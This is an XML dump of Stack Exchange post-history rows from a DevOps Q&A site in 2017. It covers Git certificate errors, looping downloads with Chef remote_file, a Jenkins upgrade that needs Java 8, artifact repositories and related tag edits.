  <row Id="3485" PostHistoryTypeId="6" PostId="1036" RevisionGUID="de2e6af4-fc78-4212-bfa1-3bf770b847f3" CreationDate="2017-04-27T02:59:56.557" UserId="739" Comment="not specific to any cloud platform, add capacity-planning tag" Text="&lt;containers&gt;&lt;cloud&gt;&lt;drupal&gt;&lt;capacity-planning&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3486" PostHistoryTypeId="24" PostId="1036" RevisionGUID="de2e6af4-fc78-4212-bfa1-3bf770b847f3" CreationDate="2017-04-27T02:59:56.557" Comment="Proposed by 739 approved by 2484 edit id of 315" ContentLicense="CC BY-SA 3.0" />
  <row Id="3487" PostHistoryTypeId="6" PostId="128" RevisionGUID="3b21f625-8495-409f-b753-5698b0fd5ff0" CreationDate="2017-04-27T04:57:08.363" UserId="739" Comment="add capacity-planning tag" Text="&lt;amazon-web-services&gt;&lt;terraform&gt;&lt;autoscaling&gt;&lt;capacity-planning&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3488" PostHistoryTypeId="24" PostId="128" RevisionGUID="3b21f625-8495-409f-b753-5698b0fd5ff0" CreationDate="2017-04-27T04:57:08.363" Comment="Proposed by 739 approved by 46 edit id of 316" ContentLicense="CC BY-SA 3.0" />
  <row Id="3489" PostHistoryTypeId="2" PostId="1045" RevisionGUID="63e85400-4047-443f-9cdc-a579ac58ddbb" CreationDate="2017-04-27T06:35:15.413" UserId="2528" Text="It is wise to think about package management early on.&#xD;&#xA;&#xD;&#xA;There are multiple options in terms of package management. The 2 largest are [jFrog Artifactory][1] and [Sonatype Nexus][2]. Both offer support for multiple formats such as maven, NuGet, Docker, npm, ...&#xD;&#xA;&#xD;&#xA;If you only have standard requirements, both of these will suffice. If you have specific requirements, it's best to look at a comparison such as [this one][3] to find out which one has got what you need.&#xD;&#xA;&#xD;&#xA;Both of these offer free versions with all the functionality you will need included.&#xD;&#xA;&#xD;&#xA;When it comes to choosing one: If you have experience with one, i would suggest taking that one. Otherwise, you can't really go wrong with either one, since both are widely used by small and large teams around the world.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.jfrog.com/artifactory/&#xD;&#xA;  [2]: https://www.sonatype.com/nexus-repository-oss&#xD;&#xA;  [3]: https://binary-repositories-comparison.github.io/" ContentLicense="CC BY-SA 3.0" />
  <row Id="3490" PostHistoryTypeId="5" PostId="1038" RevisionGUID="e0dc329e-9448-4fb4-92c1-28074acf005f" CreationDate="2017-04-27T08:42:34.320" UserId="707" Comment="edited body" Text="all, I have a working certificates chain (testable with OpenSSL) but somehow I cannot manage to tell Git to load these certificates. &#xD;&#xA;&#xD;&#xA;I get **the same** &quot;untrusted root authority&quot; error (SEC_E_UNTRUSTED_ROOT) **independently** of whether my git configuration points to an existing or a fake certificate chain file.&#xD;&#xA;&#xD;&#xA;For details, please check the attached screenshot.[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;Setting I use in `.gitconfig` for fake file:&#xD;&#xA;&#xD;&#xA;    sslCAInfo = C:/tmp/foobar.crt&#xD;&#xA;&#xD;&#xA;or, for real file which works with OpenSSL:&#xD;&#xA;&#xD;&#xA;    sslCAInfo = C:/tmp/ca-bundle.crt&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/dB3ft.png&#xD;&#xA;&#xD;&#xA;Console transcript:&#xD;&#xA;&#xD;&#xA;    C:\tmp&gt;openssl version&#xD;&#xA;    OpenSSL 0.9.8h 28 May 2008&#xD;&#xA;    &#xD;&#xA;    C:\tmp&gt;git --version&#xD;&#xA;    git version 2.12.2.windows.2&#xD;&#xA;    &#xD;&#xA;    C:\tmp&gt;git config --list&#xD;&#xA;    http.sslverify=true&#xD;&#xA;    http.sslcainfo=C:/tmp/ca-bundle.crt&#xD;&#xA;    &#xD;&#xA;    C:\tmp&gt;dir&#xD;&#xA;    24.04.2017 13:45 10.875 ca-bundle.crt&#xD;&#xA;    &#xD;&#xA;    c:\tmp&gt;openssl s_client -state -connect https://mygithost:443 -CAfile .\ca-bundle.crt&#xD;&#xA;    &#xD;&#xA;    Verify return code: 0 (ok)&#xD;&#xA;    &#xD;&#xA;    C:\tmp git clone https://mygithost/bitbucket/scm/my.git&#xD;&#xA;    Cloning into ...&#xD;&#xA;    fatal: unable to access ... : schannel: next InitializeSecurityContext failed: SEC_E_UNTRUSTED_ROOT (0x80090325) - The certificate chain was issued by an authority that is not trusted.&#xD;&#xA;    &#xD;&#xA;    C:\tmp&gt; git -c http.sslverify=false clone https://mygithost/bitbucket/scm/my.git&#xD;&#xA;    Cloning into ...&#xD;&#xA;    Resoliving deltas: 100%, done.&#xD;&#xA;    &#xD;&#xA;    C:\tmp&gt;git config --list&#xD;&#xA;    http.sslverify=true&#xD;&#xA;    http.sslcainfo=C:/tmp/foobar.crt&#xD;&#xA;    &#xD;&#xA;    C:\tmp\xxx\git pull&#xD;&#xA;    fatal: unable to access ... : schannel: next InitializeSecurityContext failed: SEC_E_UNTRUSTED_ROOT (0x80090325) - The certificate chain was issued by an authority that is not trusted." ContentLicense="CC BY-SA 3.0" />
  <row Id="3491" PostHistoryTypeId="2" PostId="1046" RevisionGUID="a5513317-7746-44c3-952a-ca684b729619" CreationDate="2017-04-27T13:56:33.237" UserId="1096" Text="Check out [Otter](http://inedo.com/Otter) it's basically the only Configuration management/Infrastructure as Code tool with native Windows support or Possibly [BuildMaster](http://inedo.com/buildmaster) as well which is more on the release coordination deployment automation side of things. &#xD;&#xA;&#xD;&#xA;If you're a Windows heavy shop definitely take a look at the tools mentioned on the [Winops wiki page](https://en.wikipedia.org/wiki/WinOps) - will probably help point you in the right direction. " ContentLicense="CC BY-SA 3.0" />
  <row Id="3492" PostHistoryTypeId="6" PostId="449" RevisionGUID="70c589f3-6a78-400c-951f-5369baf725fd" CreationDate="2017-04-27T14:53:21.400" UserId="739" Comment="add capacity-planning tag" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;capacity-planning&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3493" PostHistoryTypeId="24" PostId="449" RevisionGUID="70c589f3-6a78-400c-951f-5369baf725fd" CreationDate="2017-04-27T14:53:21.400" Comment="Proposed by 739 approved by 14, 40 edit id of 317" ContentLicense="CC BY-SA 3.0" />
  <row Id="3494" PostHistoryTypeId="6" PostId="265" RevisionGUID="7531fcde-0302-4297-a022-5d247b8e9b80" CreationDate="2017-04-27T14:53:28.067" UserId="739" Comment="add capacity-planning tag" Text="&lt;continuous-integration&gt;&lt;scalability&gt;&lt;capacity-planning&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3495" PostHistoryTypeId="24" PostId="265" RevisionGUID="7531fcde-0302-4297-a022-5d247b8e9b80" CreationDate="2017-04-27T14:53:28.067" Comment="Proposed by 739 approved by 14, 40 edit id of 318" ContentLicense="CC BY-SA 3.0" />
  <row Id="3497" PostHistoryTypeId="2" PostId="1047" RevisionGUID="382b1e9d-f8c0-4617-bab1-c68393dc5492" CreationDate="2017-04-27T16:57:22.533" UserId="1208" Text="I am planning to build a maven project in Jenkins. I tried to do some research how to give goals for maven for doing few steps in one command but cant get understood how to do. what I mean is how can I give a goal where maven can build maven project like creating artifact, skip tests,and analyse sonarqube analysis with particular URL like (sonar:sonar -Dsonar.host.url=http://url) . I tried but I am unable to give all goals at same time. I am planning to give in these three steps in three different goals. any way that  I can give in single step.." ContentLicense="CC BY-SA 3.0" />
  <row Id="3498" PostHistoryTypeId="1" PostId="1047" RevisionGUID="382b1e9d-f8c0-4617-bab1-c68393dc5492" CreationDate="2017-04-27T16:57:22.533" UserId="1208" Text="Maven command for sonarqube analysis" ContentLicense="CC BY-SA 3.0" />
  <row Id="3499" PostHistoryTypeId="3" PostId="1047" RevisionGUID="382b1e9d-f8c0-4617-bab1-c68393dc5492" CreationDate="2017-04-27T16:57:22.533" UserId="1208" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;builds&gt;&lt;build-pipeline&gt;&lt;hudson&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3500" PostHistoryTypeId="2" PostId="1048" RevisionGUID="99c964fa-b7ee-40dd-bf52-7b14e67f3287" CreationDate="2017-04-27T17:58:48.467" UserId="1208" Text="I am wondering is there a resource to download multiple files from remote using chef resource. I want to use `remote_file 'Download remote file' do&#xD;&#xA;  path /opt/&#xD;&#xA;  source http:///xxx&#xD;&#xA;  mode '0644'&#xD;&#xA;  action :create&#xD;&#xA;end` for one file what if I want to download multiple files in a same place with different urls. or how can I modify this resource to make multiple downloads which has different urls&#xD;&#xA;&#xD;&#xA;thanks in advance" ContentLicense="CC BY-SA 3.0" />
  <row Id="3501" PostHistoryTypeId="1" PostId="1048" RevisionGUID="99c964fa-b7ee-40dd-bf52-7b14e67f3287" CreationDate="2017-04-27T17:58:48.467" UserId="1208" Text="Downloading multple files from remote using chef resource" ContentLicense="CC BY-SA 3.0" />
  <row Id="3502" PostHistoryTypeId="3" PostId="1048" RevisionGUID="99c964fa-b7ee-40dd-bf52-7b14e67f3287" CreationDate="2017-04-27T17:58:48.467" UserId="1208" Text="&lt;chef&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3503" PostHistoryTypeId="2" PostId="1049" RevisionGUID="f0d09246-367b-4801-b149-f0ae4ba6dfd7" CreationDate="2017-04-27T18:25:28.243" UserId="2546" Text="I have a Bitbucket repo with a webhook to trigger Codefresh builds on PRs. I would like the build results to appear as comments on the PRs, similar to Travis integration for GitHub. I couldn't find any settings for this in my Bitbucket repo or in Codefresh, but Codefresh's documentation seems to suggest that this happens automatically when you setup integration with GitHub. I can't find any examples of Bitbucket repos with automatic comments. Is it not supported?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3504" PostHistoryTypeId="1" PostId="1049" RevisionGUID="f0d09246-367b-4801-b149-f0ae4ba6dfd7" CreationDate="2017-04-27T18:25:28.243" UserId="2546" Text="How can I automatically post Codefresh build results to pull requests in Bitbucket?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3505" PostHistoryTypeId="3" PostId="1049" RevisionGUID="f0d09246-367b-4801-b149-f0ae4ba6dfd7" CreationDate="2017-04-27T18:25:28.243" UserId="2546" Text="&lt;continuous-integration&gt;&lt;bitbucket&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3506" PostHistoryTypeId="5" PostId="1048" RevisionGUID="6256b1b6-1b19-4255-ad25-eebcec7632a0" CreationDate="2017-04-27T19:10:23.247" UserId="13" Comment="Code formatting " Text="I am wondering is there a resource to download multiple files from remote using chef resource. I want to use &#xD;&#xA;&#xD;&#xA;    remote_file 'Download remote file' do&#xD;&#xA;      path /opt/&#xD;&#xA;      source http:///xxx&#xD;&#xA;      mode '0644'&#xD;&#xA;      action :create&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;for one file what if I want to download multiple files in a same place with different urls. or how can I modify this resource to make multiple downloads which has different urls&#xD;&#xA;&#xD;&#xA;thanks in advance" ContentLicense="CC BY-SA 3.0" />
  <row Id="3507" PostHistoryTypeId="2" PostId="1050" RevisionGUID="f67af6e7-f28b-43cb-8510-78ff10a6f70e" CreationDate="2017-04-27T19:53:09.713" UserId="342" Text="what about something like that:&#xD;&#xA;&#xD;&#xA;    %w{&#xD;&#xA;            mysql-community-common-5.7.16-1.el7.x86_64.rpm&#xD;&#xA;            mysql-community-libs-5.7.16-1.el7.x86_64.rpm&#xD;&#xA;            mysql-community-client-5.7.16-1.el7.x86_64.rpm&#xD;&#xA;            mysql-community-server-5.7.16-1.el7.x86_64.rpm&#xD;&#xA;    }.each do |pkg|&#xD;&#xA;            remote_file &quot;/tmp/#{pkg}&quot; do&#xD;&#xA;            source &quot;https://s3.amazonaws.com/tmp/mysql/#{pkg}&quot;&#xD;&#xA;            end&#xD;&#xA;    &#xD;&#xA;           rpm_package pkg do&#xD;&#xA;            source &quot;/tmp/#{pkg}&quot;&#xD;&#xA;            action :install&#xD;&#xA;            end&#xD;&#xA;    &#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3508" PostHistoryTypeId="2" PostId="1051" RevisionGUID="05e6fea8-567e-4550-a0ec-a32db854d682" CreationDate="2017-04-27T20:22:27.010" UserId="13" Text="What I do for this case is using node attributes hash for a key value mapping as follow :&#xD;&#xA;&#xD;&#xA;In `attributes/default.rb`&#xD;&#xA;&#xD;&#xA;    default['namespace']['files']['file1']='http://server1/path/source_fileX'&#xD;&#xA;    default['namespace']['files']['file2']='http://server2/path/source_fileY'&#xD;&#xA;&#xD;&#xA;Or with hash notation :&#xD;&#xA;&#xD;&#xA;    default['namespace']['files']={'file1' =&gt; 'http://server1/path/source_fileX',&#xD;&#xA;    'file2'=&gt;'http://server2/path/source_fileY'}&#xD;&#xA;&#xD;&#xA;Then in recipe:&#xD;&#xA;&#xD;&#xA;    node['namespace']['files'].each do |filename,src|&#xD;&#xA;      remote_file &quot;/path/destinaton/#{filename}&quot; do&#xD;&#xA;        source src&#xD;&#xA;        mode '0644'&#xD;&#xA;        action :create&#xD;&#xA;      end&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;This way you can map a file with its source taking advantage that node attributes are a hash structure. &#xD;&#xA;&#xD;&#xA;If course you can set the full path instead of just the file name and avoid the string interpolation in the recipe remote_file.&#xD;&#xA;&#xD;&#xA;(Typed on phone, please forgive typos)" ContentLicense="CC BY-SA 3.0" />
  <row Id="3509" PostHistoryTypeId="5" PostId="1050" RevisionGUID="fd06540e-f795-454f-9130-3ac358a72a2b" CreationDate="2017-04-27T20:31:56.057" UserId="13" Comment="Fix indentation " Text="what about something like that:&#xD;&#xA;&#xD;&#xA;    %w{&#xD;&#xA;            mysql-community-common-5.7.16-1.el7.x86_64.rpm&#xD;&#xA;            mysql-community-libs-5.7.16-1.el7.x86_64.rpm&#xD;&#xA;            mysql-community-client-5.7.16-1.el7.x86_64.rpm&#xD;&#xA;            mysql-community-server-5.7.16-1.el7.x86_64.rpm&#xD;&#xA;    }.each do |pkg|&#xD;&#xA;            remote_file &quot;/tmp/#{pkg}&quot; do&#xD;&#xA;              source &quot;https://s3.amazonaws.com/tmp/mysql/#{pkg}&quot;&#xD;&#xA;            end&#xD;&#xA;    &#xD;&#xA;           rpm_package pkg do&#xD;&#xA;            source &quot;/tmp/#{pkg}&quot;&#xD;&#xA;            action :install&#xD;&#xA;          end&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3510" PostHistoryTypeId="5" PostId="1050" RevisionGUID="c0640bf8-622c-48f3-8194-7d683a1008cf" CreationDate="2017-04-27T21:04:02.517" UserId="342" Comment="added 477 characters in body" Text="what about something like that:&#xD;&#xA;&#xD;&#xA;    %w{&#xD;&#xA;            mysql-community-common-5.7.16-1.el7.x86_64.rpm&#xD;&#xA;            mysql-community-libs-5.7.16-1.el7.x86_64.rpm&#xD;&#xA;            mysql-community-client-5.7.16-1.el7.x86_64.rpm&#xD;&#xA;            mysql-community-server-5.7.16-1.el7.x86_64.rpm&#xD;&#xA;    }.each do |pkg|&#xD;&#xA;            remote_file &quot;/tmp/#{pkg}&quot; do&#xD;&#xA;              source &quot;https://s3.amazonaws.com/tmp/mysql/#{pkg}&quot;&#xD;&#xA;            end&#xD;&#xA;    &#xD;&#xA;           rpm_package pkg do&#xD;&#xA;            source &quot;/tmp/#{pkg}&quot;&#xD;&#xA;            action :install&#xD;&#xA;          end&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;another way:&#xD;&#xA;&#xD;&#xA;    urllist = {&#xD;&#xA;      { 'url': 'http://some.url1/', 'path': '/some/path1/', 'filename': 'some.file' },&#xD;&#xA;      { 'url': 'https://some.url2/', 'path': '/some/path2/', 'filename': 'another.file'}&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    urllist.each do |urlinfo|&#xD;&#xA;      remote_file &quot;#{urlinfo['path']}/#{urlinfo['filename']}&quot; do&#xD;&#xA;        source &quot;#{urlinfo['url']}/#{urlinfo['filename']}&quot;&#xD;&#xA;        owner 'someowner'&#xD;&#xA;        group 'somegroup'&#xD;&#xA;        mode 0755&#xD;&#xA;      end&#xD;&#xA;    end" ContentLicense="CC BY-SA 3.0" />
  <row Id="3511" PostHistoryTypeId="5" PostId="1048" RevisionGUID="bc844e0b-e0b6-46bd-a02f-fec7caa47e1e" CreationDate="2017-04-27T21:15:09.017" UserId="1208" Comment="added 350 characters in body" Text="I am wondering is there a resource to download multiple files from remote using chef resource. I want to use &#xD;&#xA;&#xD;&#xA;    remote_file 'Download remote file' do&#xD;&#xA;      path /opt/&#xD;&#xA;      source http:///xxx&#xD;&#xA;      mode '0644'&#xD;&#xA;      action :create&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;for one file what if I want to download multiple files in a same place with different urls. or how can I modify this resource to make multiple downloads which has different urls&#xD;&#xA;&#xD;&#xA;thanks in advance&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;this is how I added attributes&#xD;&#xA;in recipe `  node['file']['name'].each do |pkg|&#xD;&#xA;        remote_file &quot;path/plugins/#{pkg}&quot; do&#xD;&#xA;        source &quot;node['file']['url']/#{pkg}&quot;&#xD;&#xA;        action :create&#xD;&#xA;         end&#xD;&#xA;end`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;in attributes&#xD;&#xA;&#xD;&#xA;    default['file']['name'] = %w(&#xD;&#xA;        xx-2.0.jar&#xD;&#xA;        xx-2.21.1.4786.jar&#xD;&#xA;       xx.jar&#xD;&#xA;        )" ContentLicense="CC BY-SA 3.0" />
  <row Id="3512" PostHistoryTypeId="5" PostId="216" RevisionGUID="8dd3939d-0d85-4527-ad3b-b6a5ac6873d5" CreationDate="2017-04-27T21:16:10.083" UserId="40" Comment="added 304 characters in body" Text="Another way to describe differences between *Site Reliability Engineering* and *DevOps* is to look at [Wikipedia][1]'s explanation of a **`Site Reliability Engineer`**, which starts like so:&#xD;&#xA;&#xD;&#xA;&gt; Site reliability engineer (SRE) is a job description given to software engineers focused on reliability, scalability, and the development of cloud computing infrastructure, known as Site Reliability Engineering (SRE).&#xD;&#xA;&#xD;&#xA;So you may consider SREs as people involved in ***`Building walls`*** ...&#xD;&#xA;&#xD;&#xA;However, [Wikipedia's][3] explanation of **`DevOps`** starts like so:&#xD;&#xA;&#xD;&#xA;&gt; DevOps ... is a term used to refer to a set of practices that emphasize the collaboration and communication of both software developers and information technology (IT) professionals while automating the process of software delivery and infrastructure changes. It aims at establishing a culture and environment where building, testing, and releasing software can happen rapidly, frequently, and more reliably.&#xD;&#xA;&#xD;&#xA;What it doesn't say is that all these DevOps practices are actually triggered by a **Demand** from the business side. So combined with building and testing (the **Develop** part of it) and the **Release** of software, DevOps is about a **DDR** (= Demand-Develop-Release) culture and environment, which some people may remember from these [9 seconds of a  historical speach][4] to **`Tear down this wall`**.&#xD;&#xA;&#xD;&#xA;Refer to the question about [Brief outage planned for Wed, May 3, 2017 at 8pm US/Eastern (like a fire drill for computers)][2] for an example about all SE sites ... posted (signed) by a user with job title ***SRE Manager, Stack Overflow, Inc.***&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Site_reliability_engineer&#xD;&#xA;  [2]: https://meta.stackexchange.com/q/295285/286501&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/DevOps&#xD;&#xA;  [4]: https://www.youtube.com/watch?v=7NjNL4Nsa4Q" ContentLicense="CC BY-SA 3.0" />
  <row Id="3513" PostHistoryTypeId="13" PostId="216" RevisionGUID="0fd1f60c-f3c8-4514-a2ff-e7d1925d1863" CreationDate="2017-04-27T21:16:36.403" UserId="40" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="3514" PostHistoryTypeId="12" PostId="216" RevisionGUID="ab280006-4010-4bac-8f27-05fc79dbe1ac" CreationDate="2017-04-27T21:22:03.197" UserId="40" Comment="via Vote" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="3515" PostHistoryTypeId="2" PostId="1052" RevisionGUID="9b965cec-f87a-46fe-aac7-55e66bd53a5b" CreationDate="2017-04-27T21:48:22.823" UserId="538" Text="Is there a similar devops tool to fabric with javascript as its scripting language. I'm specifically interested in the remote execution side.&#xD;&#xA;&#xD;&#xA;Most of the tools I've found rely on python or ruby. However, in my team we don't use these languages for anything else. While these languages may be great, they are not as universal as javascript in the web development industry.&#xD;&#xA;&#xD;&#xA;I mention fabric because it's ideal for what I want except that I have minimal python skills (sadly).&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3516" PostHistoryTypeId="1" PostId="1052" RevisionGUID="9b965cec-f87a-46fe-aac7-55e66bd53a5b" CreationDate="2017-04-27T21:48:22.823" UserId="538" Text="Javascript based alternative to Fabric" ContentLicense="CC BY-SA 3.0" />
  <row Id="3517" PostHistoryTypeId="3" PostId="1052" RevisionGUID="9b965cec-f87a-46fe-aac7-55e66bd53a5b" CreationDate="2017-04-27T21:48:22.823" UserId="538" Text="&lt;deployment&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3518" PostHistoryTypeId="13" PostId="216" RevisionGUID="948f9ebd-5a40-4ef6-b07f-3e47a3009a3e" CreationDate="2017-04-27T22:03:56.807" UserId="40" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="3519" PostHistoryTypeId="5" PostId="1048" RevisionGUID="d05a001c-d839-4665-bf17-a07bb402f8d8" CreationDate="2017-04-28T02:49:35.473" UserId="47" Comment="improved formatting" Text="I am wondering if there is a resource to download multiple files from remote using chef resource. I want to use: &#xD;&#xA;&#xD;&#xA;    remote_file 'Download remote file' do&#xD;&#xA;      path /opt/&#xD;&#xA;      source http:///xxx&#xD;&#xA;      mode '0644'&#xD;&#xA;      action :create&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;...for one file. What if I want to download multiple files in a same place with different urls? Or how can I modify this resource to make multiple downloads which have different URLs?&#xD;&#xA;&#xD;&#xA;This is how I added attributes in recipe: &#xD;&#xA;&#xD;&#xA;    node['file']['name'].each do |pkg|&#xD;&#xA;        remote_file &quot;path/plugins/#{pkg}&quot; do&#xD;&#xA;            source &quot;node['file']['url']/#{pkg}&quot;&#xD;&#xA;            action :create&#xD;&#xA;        end&#xD;&#xA;    end&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;in attributes&#xD;&#xA;&#xD;&#xA;    default['file']['name'] = %w(&#xD;&#xA;        xx-2.0.jar&#xD;&#xA;        xx-2.21.1.4786.jar&#xD;&#xA;        xx.jar&#xD;&#xA;        )" ContentLicense="CC BY-SA 3.0" />
  <row Id="3521" PostHistoryTypeId="2" PostId="1053" RevisionGUID="f8de8cdf-97c0-47f9-b32c-3946bcb8033d" CreationDate="2017-04-28T05:37:31.023" UserId="362" Text="I just upgraded Jenkins from 2.39 to 2.57. After the upgrade, Jenkins can no longer communicate with my SSH build nodes. I get the following error:&#xD;&#xA;&#xD;&#xA;```&lt;===[JENKINS REMOTING CAPACITY]===&gt;channel started&#xD;&#xA;Slave JVM has not reported exit code. Is it still running?&#xD;&#xA;[04/28/17 01:29:32] Launch failed - cleaning up connection&#xD;&#xA;[04/28/17 01:29:32] [SSH] Connection closed.&#xD;&#xA;ERROR: Connection terminated&#xD;&#xA;java.io.EOFException&#xD;&#xA;	at java.io.ObjectInputStream$PeekInputStream.readFully(ObjectInputStream.java:2335)&#xD;&#xA;	at java.io.ObjectInputStream$BlockDataInputStream.readShort(ObjectInputStream.java:2804)&#xD;&#xA;	at java.io.ObjectInputStream.readStreamHeader(ObjectInputStream.java:802)&#xD;&#xA;	at java.io.ObjectInputStream.&lt;init&gt;(ObjectInputStream.java:299)&#xD;&#xA;	at hudson.remoting.ObjectInputStreamEx.&lt;init&gt;(ObjectInputStreamEx.java:48)&#xD;&#xA;	at hudson.remoting.AbstractSynchronousByteArrayCommandTransport.read(AbstractSynchronousByteArrayCommandTransport.java:34)&#xD;&#xA;	at hudson.remoting.SynchronousCommandTransport$ReaderThread.run(SynchronousCommandTransport.java:59)&#xD;&#xA;Caused: java.io.IOException: Unexpected termination of the channel&#xD;&#xA;	at hudson.remoting.SynchronousCommandTransport$ReaderThread.run(SynchronousCommandTransport.java:73)&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Based on Googling 'Slave JVM has not reported exit code.' it seems like a Java version mismatch ([JENKINS-30561](https://issues.jenkins-ci.org/browse/JENKINS-30561), [JENKINS-29120](https://issues.jenkins-ci.org/browse/JENKINS-29120)), but I can confirm that my build nodes are using Java 1.7:&#xD;&#xA;&#xD;&#xA;```$ java -version&#xD;&#xA;java version &quot;1.7.0_80&quot;&#xD;&#xA;Java(TM) SE Runtime Environment (build 1.7.0_80-b15)&#xD;&#xA;Java HotSpot(TM) 64-Bit Server VM (build 24.80-b11, mixed mode)&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Does anyone have ideas what could be causing this? More info can be provided on request." ContentLicense="CC BY-SA 3.0" />
  <row Id="3522" PostHistoryTypeId="1" PostId="1053" RevisionGUID="f8de8cdf-97c0-47f9-b32c-3946bcb8033d" CreationDate="2017-04-28T05:37:31.023" UserId="362" Text="Jenkins cannot reach nodes after upgrade" ContentLicense="CC BY-SA 3.0" />
  <row Id="3523" PostHistoryTypeId="3" PostId="1053" RevisionGUID="f8de8cdf-97c0-47f9-b32c-3946bcb8033d" CreationDate="2017-04-28T05:37:31.023" UserId="362" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;upgrade&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3524" PostHistoryTypeId="2" PostId="1054" RevisionGUID="93f64aab-a433-40c2-aeca-49ee68009768" CreationDate="2017-04-28T05:46:12.657" UserId="362" Text="I found out via this [StackOverflow question](http://stackoverflow.com/questions/43414585/unable-to-start-jenkins-slave) which pointed me to [JENKINS-27624](https://issues.jenkins-ci.org/browse/JENKINS-27624) which indicates that Java 8 is now required." ContentLicense="CC BY-SA 3.0" />
  <row Id="3525" PostHistoryTypeId="5" PostId="1053" RevisionGUID="b7651994-1dd3-41bb-ae94-721f207735dc" CreationDate="2017-04-28T05:47:08.550" UserId="46" Comment="added 68 characters in body" Text="I just upgraded Jenkins from 2.39 to 2.57. After the upgrade, Jenkins can no longer communicate with my SSH build nodes. I get the following error:&#xD;&#xA;&#xD;&#xA;    &lt;===[JENKINS REMOTING CAPACITY]===&gt;channel started&#xD;&#xA;    Slave JVM has not reported exit code. Is it still running?&#xD;&#xA;    [04/28/17 01:29:32] Launch failed - cleaning up connection&#xD;&#xA;    [04/28/17 01:29:32] [SSH] Connection closed.&#xD;&#xA;    ERROR: Connection terminated&#xD;&#xA;    java.io.EOFException&#xD;&#xA;    	at java.io.ObjectInputStream$PeekInputStream.readFully(ObjectInputStream.java:2335)&#xD;&#xA;    	at java.io.ObjectInputStream$BlockDataInputStream.readShort(ObjectInputStream.java:2804)&#xD;&#xA;    	at java.io.ObjectInputStream.readStreamHeader(ObjectInputStream.java:802)&#xD;&#xA;    	at java.io.ObjectInputStream.&lt;init&gt;(ObjectInputStream.java:299)&#xD;&#xA;    	at hudson.remoting.ObjectInputStreamEx.&lt;init&gt;(ObjectInputStreamEx.java:48)&#xD;&#xA;    	at hudson.remoting.AbstractSynchronousByteArrayCommandTransport.read(AbstractSynchronousByteArrayCommandTransport.java:34)&#xD;&#xA;    	at hudson.remoting.SynchronousCommandTransport$ReaderThread.run(SynchronousCommandTransport.java:59)&#xD;&#xA;    Caused: java.io.IOException: Unexpected termination of the channel&#xD;&#xA;    	at hudson.remoting.SynchronousCommandTransport$ReaderThread.run(SynchronousCommandTransport.java:73)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Based on Googling 'Slave JVM has not reported exit code.' it seems like a Java version mismatch ([JENKINS-30561](https://issues.jenkins-ci.org/browse/JENKINS-30561), [JENKINS-29120](https://issues.jenkins-ci.org/browse/JENKINS-29120)), but I can confirm that my build nodes are using Java 1.7:&#xD;&#xA;&#xD;&#xA;    $ java -version&#xD;&#xA;    java version &quot;1.7.0_80&quot;&#xD;&#xA;    Java(TM) SE Runtime Environment (build 1.7.0_80-b15)&#xD;&#xA;    Java HotSpot(TM) 64-Bit Server VM (build 24.80-b11, mixed mode)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Does anyone have ideas what could be causing this? More info can be provided on request.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3526" PostHistoryTypeId="2" PostId="1055" RevisionGUID="f7ec19b4-a22a-477d-8dfd-2ab0428e00b4" CreationDate="2017-04-28T08:40:17.850" UserId="40" Text="Have a look at what's described in the question about &quot;[Brief outage planned for Wed, May 3, 2017 at 0:00 UTC, 8pm US/Eastern (like a fire drill for computers)][1]&quot;., which is about testing of the existing &quot;**Disaster Recovery Planning**&quot; (= DRP) of the entire family of SE sites.&#xD;&#xA;&#xD;&#xA;If you were in charge of this, what would be your recommendations to improve these kinds of DRP-testing ... in production?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://meta.stackexchange.com/q/295285/286501" ContentLicense="CC BY-SA 3.0" />
  <row Id="3527" PostHistoryTypeId="1" PostId="1055" RevisionGUID="f7ec19b4-a22a-477d-8dfd-2ab0428e00b4" CreationDate="2017-04-28T08:40:17.850" UserId="40" Text="How to improve DRP-testing of SE sites?" ContentLicense="CC BY-SA 3.0" />
